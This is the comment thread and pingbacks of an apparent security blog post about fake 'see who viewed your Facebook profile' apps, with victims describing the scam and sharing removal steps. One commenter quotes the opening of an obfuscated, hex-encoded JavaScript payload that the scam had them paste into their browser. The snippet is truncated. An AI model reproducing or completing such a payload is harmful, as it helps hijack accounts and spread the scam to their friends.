[...] sobre este artigo [aqui]. Gostou do artigo? Que tal [...]

Yes, this is exactly what I activated — do you have “countermeasures?”

I would imagine whichever app you activated has already been removed by Facebook, they were working the late shift on this one! I would suggest deleting any photo the app posted on your profile and not falling for it again :)

[...] viewed their profile that they are continuously falling for the scam. In fact there are at least 25 different versions of this application on [...]

[...] like to expand upon a central tenet of a blog post offered by Rik Furguson of Trend Micro, from which The Register drew its article: That it’s high time Facebook employed some sort of [...]

[...] you into another Facebook app earning the scammer advertising revenue in the process.” He reports that Facebook is removing the offending [...]

[...] Trendmicro [...]

[...] Facebook app earning the scammer advertising revenue in the process,” Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the weekend. “There is no [...]

[...] Kijk voor meer informatie (in het Engels) over deze schadelijk social media-applicaties op http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers. [...]

Facebook is losing me. Between the constant changes that make it less and less user-friendly and the stupid farm games that trash my inbox, and now this. I only check it about once a week now, and I may just cancel out entirely. Why bother? It’s value is now antiquated.

I with “onobrahs”. I so rarely check FB anymore. The apps are especially annoying. All (most) your friends telling you what kind of animal, or flower or house or whatever they are.

[...] Facebook app earning the scammer advertising revenue in the process,” Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]

In order to prevent any spam or hacking, simply don’t use any of the Facebook apps. If you are concerned about an app filling your inbox, turn off the app in your settings.

I don’t see the big deal. If you want to be anti-social and not reconnect with your friends from around the world, that is your choice, but I am sure your friends will miss you. Walking away means the spammers have beaten you. Just turn off all the apps. If Facebook doesn’t constantly change and keep up with the changes to social networking they will become antiquated. The world is changing constantly, adapt or fall behind and the pace of change is only going to get faster.

[...] Who’s checking your Facebook profile? Scammers., CounterMeasures [...]

[...] and could lead unsuspecting users to sites containing more malicious software or viruses. CounterMeasures demonstrates how many applications earn money by linking users to different Facebook apps and by [...]

[...] voor meer informatie (in het Engels) over deze schadelijk social media-applicaties op http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers. AKPC_IDS += "8871,"; Stem of voeg toe aan [...]

I first became aware of this app about 10 days ago when I was invited by both my wife and my sister in law. I noticed that it was automatically posting on my facebook wall with comments that I never made. Nothing untoward, just general crap like “Matt Murphy likes this, it work’s!”

I also noticed that it was making a very generic montage of friends, seven of which I knew hadn’t been on facebook for weeks and one that I’d only just sent a friend request to ( and had’t replied yet) so I thought something was a bit sus.

Getting rid of it? easy but frustrating, as the app keeps making new posts while you are deleting the last but this is how I got rid of it.

1- delete the app from applications page (do this prior to deleting posts or it just adds more posts)

2- go to your profile and delete all references to the app

3- go to your photos and delete all montages and the albums it creates.

4- Warn everyone in your friends list and ask them to warn everyone they know.

5 Do a search for the person who originated the app (go to the home page you got it from and go to its wall, the developer will be listed. Then annoy the crap out of them, let your friends know about the developer, get them to do the same, then report them.

Hope this helps, but to ensure that an app is genuine, and actually sent from one of your friends, IM them or send an email for them to confirm. or just dont use apps>

[...] Facebook app earning the scammer advertising revenue in the process,” Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]

[...] to Rik Ferguson, a Senior Security Consultant at Trend Micro, he has already identified 25 different copies of the [...]

[...] “Who’s Looking At Your Profile?” apps that pop up on Facebook pretty frequently. Rik Ferguson reported that this version of spam has at least 25 different copies with names like “peeppeep-pro,” [...]

[...] Link to the original site [...]

[...] Facebook app earning the scammer advertising revenue in the process,” Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]

Okay, I got this email from a close friend of mine which said “SEE WHO’S VIEWING YOUR PROFILE NOW!..” and all that. I clicked on it (how stupid?) and it brought me to a facebook page which said become a fan. Which I did. Then it said paste the following code into a web browser (how goddamned stupid??).Notihng seemed to happen. Atleast I couldnt figure out anything.
Anyone out there knows something about this? Should I be worried??

javascript:var _0x7f7d=[“\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C”,”\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x78\x44″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64″,”\x3C\x61\x20\x69\x64\x3D\x22\x53\x75\x67\x67\x65\x73\x74\x22\x20\x68\

[...] most common is malware downloading other malware via the Internet. Infected web pages, PDFs, social networking sites and cloud-based services represent just some of the significant real or potential threats that [...]

I rarely use any apps on Facebook but somehow managed to get caught up in this. It even puts your photo in the collage, similar to above and then emails people you’re friends with.
Only found out when out of nowhere, I started getting odd comments and messages from people that the app had mailed. Dont know how many people it mailed or what it said but Im sure someone would have said something if it was bad. It cemented one thing in my mind, Im done with facebook. I tried to contact them about this (‘report this’ is a joke), eventually you get directed to a form that goes to? –No Idea
and is this answered? –Never
Absolutely sick of it now, have removed all info possible and changed anything remaining (name, address etc). It wouldnt allow me to remove all or close the account, so I just did it gradually.
I know theres no way of completey wiping all data but Im not going to make it easy for them either.
F***FB

How do you get rid of all these photos now part of my page?

I’m tired of having to play Mother Hen to my friends and family about these kinds of things. I wish FB would just do away with the app stuff entirely – they are all garbage and way too many of them are questionable from a security standpoint.

As far as the legitimate-but-annoying apps like Farmville and Mafia Wars – if people want to play free web-based games there are plenty of safe websites for that.

I want to know how manty people see me daily

[...] Niestety, wielu użytkowników Facebooka śmiało uruchamia na swoim profilu aplikacje, które rzekomo pokazują, kto najczęściej przegląda ich tablicę czy też po prostu kto ich śledzi. Problem ten mimo wielu interwencji nadal pozostaje aktualny. A czy nie wystarczyłaby lektura krótkiego ostrzeżenia,  jak np. to na stronie CounterMeasures, w artykule pt. "Kto śledzi Twój profil na Facebooku? Oszuści".  [...]

whats up with facebook?

i would like to know who’s looking at my profile.

[...] your Facebook friends anyway).   The tactics used are exactly the same as in many of the “Profile Spy”, or “See who views your profile” scams that do the rounds so often, in fact the offending JavaScript file in this instance even contains [...]

love it

[...] like to expand upon a central tenet of a blog post offered by Rik Furguson of Trend Micro, from which The Register drew its article: That it’s high time Facebook employed some sort of [...]